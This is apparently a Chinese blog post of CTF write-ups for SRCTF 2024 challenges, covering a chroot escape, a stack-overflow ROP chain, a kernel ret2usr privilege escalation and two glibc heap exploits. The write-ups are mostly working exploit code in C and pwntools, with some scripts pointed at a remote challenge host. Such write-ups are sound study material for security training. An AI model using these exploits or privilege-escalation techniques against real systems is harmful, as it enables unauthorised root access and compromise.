2024暑期学习(三)
暑期学习(三)
SRCTF复现
chroot_escape
chroot()
简介:
chroot()
是一个 Unix 系统调用,通常用于提供 在运行不受信任的程序时提供额外的安全层。内核开启 支持 chroot()
的 Unix 变体维护了根的注释 系统上每个进程都有的目录。通常这是“/
”,但是 chroot()
系统调用可以改变这一点。当成功调用 chroot()
时,调用进程有其根目录的概念 更改为作为 chroot()
参数给出的目录。为 示例:在以下代码行之后,进程将看到目录 “/foo/bar
”作为其根目录。
在调用 chroot()
之前需要先调用 chdir()
的原因。由于大多数 chroot()
的实现不会自动将进程的工作目录更改到新的根目录下,因此在调用 chroot()
之前,需要确保进程的工作目录已经在新的 chroot()
区域内。否则,在 chroot()
之后,如果进程尝试打开根目录("/"
),实际上会打开 chroot()
之前的目录。由于根目录发生了变化,chroot()
后的程序运行时需要一些基本的文件和程序,例如 Shell 解释器 sh
所需的文件。
File | Usage |
---|---|
/bin/sh |
The binary for sh |
/usr/ld.so.1 |
Dynamically link in the shared object libraries |
/dev/zero |
Ensuring that the pages of memory used by shared objects are clear |
/usr/lib/libc.so.1 |
The general C library |
/usr/lib/libdl.so.1 |
The dynamic linking access library |
/usr/lib/libw.so.1 |
Internationalisation library |
/usr/lib/libintl.so.1 |
Internationalisation library |
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 |
"Processor Specific Runtime" - contains replacements for certain library functions (i.e. memcpy ) hand coded in faster assembly. |
尽管 chroot()
在一定程度上是安全的,但如果程序拥有 root 权限(即 UID 为 0),则可以通过特定方式逃逸出 chroot()
环境。为了实现这一点,攻击者需要有 C 编译器或 Perl 解释器,并利用系统中的安全漏洞获取 root 权限。
exp:
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
mkdir("a-dir", 0755);
chroot("a-dir");
for(int i = 0; i < 10; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
需要静态链接或者是内联汇编,因为容器里没有装动态链接库
如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码
exp:
from pwn import *
import os
context(os='linux', arch='amd64')
context.log_level = 'debug'
p = remote("110.40.35.62",34241)
def read_file(filename):
with open(filename, 'r') as file:
return file.read()
os.system('base64 exp > exp.b64')
p.sendline('cat <<EOF > exp.b64')
p.sendline(read_file('exp.b64'))
p.sendline('EOF')
p.sendline('base64 -d exp.b64 > exp')
p.sendline('chmod +x ./exp')
p.interactive()
stackoverflow
检查保护,开了PIE:
[*] '/home/ubuntu/CTF/复现/SRCTF 2024/stackoverflow/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
main函数执行后会跳转到__libc_start_call_main + 一个偏移的位置call exit。
通过调试进入libc_start_call_main其中有一段gadgget,call rax,rax是rsp+8,刚好可以重新进入main函数,所以改call exit的偏移为call rax的偏移,又有printf可以泄露出带有libc偏移的的地址,之后再执行rop。
pwndbg> stack 20
00:0000│ rsp 0x7fffffffdd10 ◂— 0x0
01:0008│ 0x7fffffffdd18 —▸ 0x5555555551ee ◂— 0xe5894855fa1e0ff3
02:0010│ 0x7fffffffdd20 ◂— 0x1ffffde00
03:0018│ 0x7fffffffdd28 —▸ 0x7fffffffde18 —▸ 0x7fffffffe1aa ◂— 0x62752f656d6f682f ('/home/ub')
04:0020│ 0x7fffffffdd30 ◂— 0x0
05:0028│ 0x7fffffffdd38 ◂— 0x3ffccb3981dd0c93
06:0030│ 0x7fffffffdd40 —▸ 0x7fffffffde18 —▸ 0x7fffffffe1aa ◂— 0x62752f656d6f682f ('/home/ub')
07:0038│ 0x7fffffffdd48 —▸ 0x5555555551ee ◂— 0xe5894855fa1e0ff3
08:0040│ 0x7fffffffdd50 —▸ 0x555555557db0 —▸ 0x555555555140 ◂— 0x2efd3d80fa1e0ff3
09:0048│ 0x7fffffffdd58 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
0a:0050│ 0x7fffffffdd60 ◂— 0xc00334c63bff0c93
0b:0058│ 0x7fffffffdd68 ◂— 0xc003248c3b570c93
0c:0060│ 0x7fffffffdd70 ◂— 0x7fff00000000
0d:0068│ 0x7fffffffdd78 ◂— 0x0
... ↓ 3 skipped
11:0088│ 0x7fffffffdd98 ◂— 0xe97d02590a3d4c00
12:0090│ 0x7fffffffdda0 ◂— 0x0
13:0098│ 0x7fffffffdda8 —▸ 0x7ffff7dade40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1ef159]
pwndbg> vmmap 0x5555555551ee
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/ubuntu/CTF/复现/SRCTF 2024/stackoverflow/vuln
► 0x555555555000 0x555555556000 r-xp 1000 1000 /home/ubuntu/CTF/复现/SRCTF 2024/stackoverflow/vuln +0x1ee
0x555555556000 0x555555557000 r--p 1000 2000 /home/ubuntu/CTF/复现/SRCTF 2024/stackoverflow/vuln
exp
:
from pwn import *
#p=remote("110.40.35.62",34243)
elf = ELF("./vuln")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
payload='a'*0x108+'\x89'
p.send(payload)
p.recvuntil('a'*0x108)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x29d89
info("libc base: "+hex(libc_base))
pop_rdi_ret=libc_base+0x2a3e5
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search("/bin/sh\x00"))
xor_rax_rax_ret = libc_base + 0x00000000000baaf9
ret=libc_base+0x29cd6
payload='a'*0x108+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
krop
参考:
基础知识 - CTF Wiki (ctf-wiki.org)
通过一道简单的例题了解Linux内核PWN - FreeBuf网络安全行业门户
ret2usr(已过时) - CTF Wiki (ctf-wiki.org)
传统的 kernel pwn 题目通常会给以下三个文件:
- boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
- bzImage: kernel binary
- rootfs.cpio: 文件系统映像
kernel pwn的目的是提权
使用batcat查看 startvm.sh可以知道环境开了什么保护
➜ krop batcat startvm.sh
───────┬──────────────────────────────────────────────────────────────────────────────────
│ File: startvm.sh
───────┼──────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │
4 │ timeout --foreground 600 qemu-system-x86_64 \
5 │ -m 128M \
6 │ -nographic \
7 │ -kernel bzImage \
8 │ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
9 │ -monitor /dev/null \
10 │ -initrd initramfs.cpio \
11 │ -smp cores=1,threads=1 \
12 │ -cpu qemu64
───────┴─────
程序没有开启kaslr smap smep这些保护,题目关键的逻辑在initramfs.cpio
其中主要的 qemu 参数含义如下:
- -initrd initramfs.cpio,使用initramfs.cpio 作为内核启动的文件系统
- -kernel bzImage,使用 bzImage 作为 kernel 映像
- -cpu kvm64,设置 CPU 的安全选项,这里开启了 smep
- -m 64M,设置虚拟 RAM 为 128M,默认为 128M
其他的 qemu 参数可以通过 --help 查看:qemu-system-x86_64 --help
。
➜ krop file initramfs.cpio
initramfs.cpio: ASCII cpio archive (SVR4 with no CRC)
环境里面安装了一个vuln.ko的驱动,需要做的事情是逆向分析vuln.ko中有什么漏洞,然后使用c编写和vuln.ko交互的逻辑去利用漏洞
进入initramfs,在根目录下里面有一个「init」文件,它决定启动哪些程序,比如执行某些脚本和启动shell。它的内容如下:
#!/bin/sh
echo "[*] Init script"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /vuln.ko
chmod 644 /dev/simple_ret2usr
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
chmod 700 /flag
echo "[*] Finish..."
echo "IF9fICAgICAgX18gICAgICAgLl9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfXyAgICBfX19fXyAKLyAgXCAgICAvICBcIF9fX18gfCAgfCAgIF9fX18gIF9fX18gICBfX19fXyAgIF9fX18gICBfLyAgfF8gX19fXyAgICAgX19fX19fX19fX19fICBfX19fXy8gIHxfXy8gX19fX1wKXCAgIFwvXC8gICBfLyBfXyBcfCAgfCBfLyBfX19cLyAgXyBcIC8gICAgIFxfLyBfXyBcICBcICAgX18vICBfIFwgICAvICBfX19cXyAgX18gXy8gX19fXCAgIF9fXCAgIF9fXCAKIFwgICAgICAgIC9cICBfX18vfCAgfF9cICBcX18oICA8Xz4gfCAgWSBZICBcICBfX18vICAgfCAgfCggIDxfPiApICBcX19fIFwgfCAgfCBcXCAgXF9fX3wgIHwgIHwgIHwgICAKICBcX18vXCAgLyAgXF9fXyAgfF9fX18vXF9fXyAgXF9fX18vfF9ffF98ICAvXF9fXyAgPiAgfF9ffCBcX19fXy8gIC9fX19fICA+fF9ffCAgIFxfX18gIHxfX3wgIHxfX3wgICAKICAgICAgIFwvX18gICAgIFwvICAgICAgICAgIF9fICAgICAgICAgICAgXC8gICAgIFwvICAgICAgICAgICAgICBfX19fXy5fXy8gICAgICAgICAgICBcL19fICAgICAgICAgICAKICBfX19fX18vICB8X19fX19fIF9fX19fX19fLyAgfF8gICBfX18uX18uIF9fX18gIF9fIF9fX19fX19fXyAgXy8gX19fX3xfX19fX19fX18gX19fX19fLyAgfF8gICAgICAgICAKIC8gIF9fX1wgICBfX1xfXyAgXFxfICBfXyBcICAgX19cIDwgICB8ICB8LyAgXyBcfCAgfCAgXF8gIF9fIFwgXCAgIF9fXHwgIFxfICBfXyAvICBfX19cICAgX19cICAgICAgICAKIFxfX18gXCB8ICB8ICAvIF9fIFx8ICB8IFwvfCAgfCAgICBcX19fICAoICA8Xz4gfCAgfCAgL3wgIHwgXC8gIHwgIHwgIHwgIHx8ICB8IFxcX19fIFwgfCAgfCAgICAgICAgICAKL19fX18gID58X198IChfX19fICB8X198ICAgfF9ffCAgICAvIF9fX198XF9fX18vfF9fX18vIHxfX3wgICAgIHxfX3wgIHxfX3x8X198IC9fX19fICA+fF9ffCAgICAgICAgICAKIF9fICBcLyAgICAgICAgICAgXC8gICAgICAgICAgICAgLl9fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgICAgICAKfCAgfCBfXyBfX19fX19fX19fXyAgX19fXyAgIF9fX18gfCAgfCAgIF9fX19fX19fICBfICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgfC8gXy8gX18gXF8gIF9fIFwvICAgIFxfLyBfXyBcfCAgfCAgIFxfX19fIFwgXC8gXC8gLyAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgICA8XCAgX19fL3wgIHwgXHwgICB8ICBcICBfX18vfCAgfF9fIHwgIHxfPiBcICAgICB8ICAgfCAgXCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfF9ffF8gXFxfX18gIHxfX3wgIHxfX198ICAvXF9fXyAgfF9fX18vIHwgICBfXy8gXC9cXy98X19ffCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICBcLyAgICBcLyAgICAgICAgICAgXC8gICAgIFwvICAgICAgIHxfX3wgICAgICAgICAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA=" | base64 -d
setsid /bin/cttyhack setuidgid 1000 /bin/sh
在init文件中看到用insmod
命令加载了vuln.ko驱动,那么我们把这个驱动拿出来,检查一下开启的保护:
➜ initramfs checksec vuln.ko
[*] '/home/ubuntu/CTF/复现/SRCTF 2024/krop/initramfs/vuln.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
把驱动程序放到IDA里面查看程序逻辑,在初始化的位置注册了一个misc设备,然后定义了一个针对ioctl操作的函数,copy_from_user这里存在一个栈溢出,然后因为没有开启kaslr的保护,地址都是固定的,可以使用ret2usr去提权,ret2usr的攻击方式是在内核态执行commit_creds(prepare_kernel_cred(NULL))更改cred结构体为root权限的cred然后使用 swapgs和iret返回到用户态执行 system binsh提权:
__int64 __fastcall device_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // [rsp+0h] [rbp-100h] BYREF
copy_from_user(&v4, a3, 512LL);
printk(&unk_80);
return -14LL;
}
__int64 init_module()
{
unsigned int v0; // r12d
v0 = misc_register(&my_device);
if ( v0 )
printk(&unk_C7);
else
printk(&unk_DC);
return v0;
}
一个build.sh打包的脚本,忘记在哪里看的了
gcc exp.c -static -o exp
chmod +x exp
cp exp initramfs/
cd initramfs
find . | cpio -o --format=newc > ../initramfs.cpio
cpio -o --format=newc
:使用 cpio
命令将找到的文件和目录打包成一个 .cpio
文件,--format=newc
表示使用 newc
格式,这是一个较新的 cpio
格式,适合创建 initramfs 文件。
打包完后运行./startvm.sh脚本:
[*] Init script
[*] Finish...
__ __ .__ __
/ \ / \ ____ | | ____ ____ _____ ____ _/ |_ ____ ____________ _____/\
\ \/\/ _/ __ \| | _/ ___\/ _ \ / \_/ __ \ \ __/ _ \ / ___\_ __ _/ ___\
\ /\ ___/| |_\ \__( <_> | Y Y \ ___/ | |( <_> ) \___ \ | | \\ \___|
\__/\ / \___ |____/\___ \____/|__|_| /\___ > |__| \____/ /____ >|__| \___ |
\/__ \/ __ \/ \/ _____.__/ \/_
______/ |______ ________/ |_ ___.__. ____ __ _________ _/ ____|_________ ______/
/ ___\ __\__ \\_ __ \ __\ < | |/ _ \| | \_ __ \ \ __\| \_ __ / ___\
\___ \ | | / __ \| | \/| | \___ ( <_> | | /| | \/ | | | || | \\___ \ |
/____ >|__| (____ |__| |__| / ____|\____/|____/ |__| |__| |__||__| /____ >|_
__ \/ \/ .__/ \/
| | __ ___________ ____ ____ | | ________ _ ______
| |/ _/ __ \_ __ \/ \_/ __ \| | \____ \ \/ \/ / \
| <\ ___/| | \| | \ ___/| |__ | |_> \ | | \
|__|_ \\___ |__| |___| /\___ |____/ | __/ \/\_/|___| /
\/ \/ \/ \/ |__| \/
/ $ ls
bin etc flag linuxrc root sys usr
dev exp init proc sbin tmp vuln.ko
/ $ ./exp
[-] Failed to open driver
这里失败了,具体原因还没弄清楚。
exp:
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_usermode_status() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
system("/bin/sh");
}
void payload()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $get_shell;"
"swapgs;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
int main() {
void *buf[0x100];
save_usermode_status();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] Failed to open driver\n");
exit(-1);
}
for(int i=0; i<0x100; i++) {
buf[i] = &payload;
}
ioctl(fd, 0x6001, buf);
}
Master_of_memory_management
检查保护:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看主要函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
create_chunk();
}
switch ( choice )
{
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
default:
puts("[-] exit()");
exit(0);
}
}
}
unsigned __int64 create_chunk()
{
_DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
printf("size:");
__isoc99_scanf("%u", size);
chunklist = malloc(size[0]);
if ( !chunklist )
{
puts("Error");
exit(1);
}
return *(_QWORD *)&size[1] - __readfsqword(0x28u);
}
void delete()
{
free(chunklist);
}
ssize_t show()
{
printf("-->");
return write(1, chunklist, 0x10uLL);
}
ssize_t edit()
{
return read(0, chunklist, 0x10uLL);
}
存在uaf,但是只有一个位置存储地址,每次申请堆块都会更新这个位置,该怎么样申请一个unsortedbin呢?直接申请出来free掉后又会和top chunk合并。通过伪造fake chunk头保证fakechunk和nextchunk是衔接的。
伪造0xa1大小的fake chunk:
create(0x58)
delete()
show()
ru("-->")
data=u64(r(5).ljust(8,'\x00'))
heap_base=data<<12
success("heap_address: "+hex(heap_base))
create(0x58) # reset
create(0xa8) # 填充
edit(p64(0)+p64(0xa1)) #0x98 udata+0x8 size+ prev_inuse
如下图:
wndbg> x/20gx 0x40c2f0
0x40c2f0: 0x0000000000000000 0x00000000000000b1
0x40c300: 0x0000000000000000 0x00000000000000a1
0x40c310: 0x0000000000000000 0x0000000000000000
0x40c320: 0x0000000000000000 0x0000000000000000
0x40c330: 0x0000000000000000 0x0000000000000000
0x40c340: 0x0000000000000000 0x0000000000000000
0x40c350: 0x0000000000000000 0x0000000000000000
0x40c360: 0x0000000000000000 0x0000000000000000
0x40c370: 0x0000000000000000 0x0000000000000000
0x40c380: 0x0000000000000000 0x0000000000000000
double free让 chunklist中有fakechunk的地址,清空tcache key去绕过tcache free的检查。填满tcache后就能申请出unsortedbin了
target = heap_base + 0x310
pos = heap_base
edit(p64(target ^ (pos >> 12))) # tcache poison ^ (pos >> 12)这是为了绕过检查
pwndbg> bins
tcachebins
0x50 [ 2]: 0x1f353b0 —▸ 0x1f35310 ◂— 0x1f35
fastbins
那怎么劫持控制流呢?可以通过puts的利用链 写libc中的 strlen got表来劫持控制流,通过tcache poison去修改 chunklist的指针可以实现任意地址写,然后写backdoor就好了
查看本机的libc版本:strings /lib/x86_64-linux-gnu/libc.so.6 | grep 'GNU'
exp:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./vuln")
#p = remote("127.0.0.1",8888)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
def create(size):
sla(">>>","1")
sla("size",str(size))
def delete():
sl("2")
def show():
sla(">>>","3")
def edit(content):
sla(">>>","4")
s(content)
create(0x58)
delete()
show()
ru("-->")
data=u64(r(5).ljust(8,'\x00'))
heap_base=data<<12
success("heap_address: "+hex(heap_base))
create(0x58) # reset
create(0xa8) # 填充
edit(p64(0)+p64(0xa1)) #0x98 udata+0x8 size+ prev_inuse
create(0x48)
delete()
edit(p64(0) + p64(0))
delete() # tcache count > 1
target = heap_base + 0x310
pos = heap_base+ 0x3b0
edit(p64(target ^ (pos >> 12))) # tcache poison
create(0x48)
create(0x48) # fake chunk(udata_size 0x88)
delete() # 1
edit(p64(0) + p64(0))
delete() # 2
edit(p64(0) + p64(0))
delete() # 3
edit(p64(0) + p64(0))
delete() # 4
edit(p64(0) + p64(0))
delete() # 5
edit(p64(0) + p64(0))
delete() # 6
edit(p64(0) + p64(0))
delete() # 7
edit(p64(0) + p64(0))
delete() # 8 unsorted bin
show()
ru("-->")
libc_base=u64(r(6).ljust(8,'\x00'))-0x4ce0
info("libc base: "+hex(libc_base))
strlen_got = libc_base + 0x00000000021A098
backdoor = 0x00000000040149C
chunklist = 0x000000000404050
create(0x158)
delete()
edit(p64(0) + p64(0))
delete()
pos = heap_base
edit(p64(chunklist ^ (pos >> 12)))
create(0x158)
create(0x158)
edit(p64(strlen_got))
edit(p64(backdoor))
# gdb.attach(p)
p.interactive()
uaf
这题没有show函数,glibc 2.31没有 safelink的保护,任意地址写的原语不需要泄露堆地址就可以实现,将stdout链入tcache后 修改stdout.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+Ch] [rbp-4h]
init();
while ( 1 )
{
menu();
choice = get_uint32();
switch ( choice )
{
case 1u:
add();
break;
case 2u:
delete();
break;
case 3u:
edit();
break;
}
}
}
void __cdecl add()
{
unsigned int idx; // [rsp+8h] [rbp-8h]
unsigned int size; // [rsp+Ch] [rbp-4h]
idx = get_uint32();
if ( idx > 0xFF )
exit(1);
size = get_uint32();
chunklist[idx] = malloc(size);
sizelist[idx] = size;
}
void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
idx = get_uint32();
if ( idx > 0xFF )
exit(1);
if ( chunklist[idx] )
free(chunklist[idx]);
}
void __cdecl edit()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
idx = get_uint32();
if ( idx > 0xFF )
exit(1);
if ( chunklist[idx] )
read(0, chunklist[idx], sizelist[idx]);
}
可以覆盖writebase低位字节去泄露地址,也可以通过控制三个写指针精准的泄露某个地址,泄露地址后 修改freehook为 system最后去free一个内容为binsh的堆就能getshell
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "110.40.35.62"
PORT = 32826
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(idx,size):
sla(">>>","1")
sl(str(idx))
sl(str(size))
def delete(idx):
sla(">>>","2")
sl(str(idx))
def edit(idx,content):
sla(">>>","3")
sl(str(idx))
s(content)
stdout = 0x404020
for i in range(4):
add(i,0x58)
for i in range(4):
delete(i)
# 3 -> 2 -> 1 -> 0
edit(3,p64(stdout))
add(4,0x58)
add(5,0x58) # stdout
add(6,0x58) # _IO_2_1_stdout_
payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']])
edit(6,payload)
r(1)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['free']
success(f"free_addr -> {hex(leak)}")
success(f"libc_base ->{hex(libc_base)}")
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
for i in range(7,7 + 3):
add(i,0x68)
for i in range(7,7 + 3):
delete(i)
# 9 - > 8 -> 7
edit(9,p64(free_hook))
add(10,0x68)
add(11,0x68)
edit(10,b'/bin/sh')
edit(11,p64(system))
delete(10)
# g(p)
p.interactive()
参考
脱离 chroot() 填充单元格 (archive.org)
基础知识 - CTF Wiki (ctf-wiki.org)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)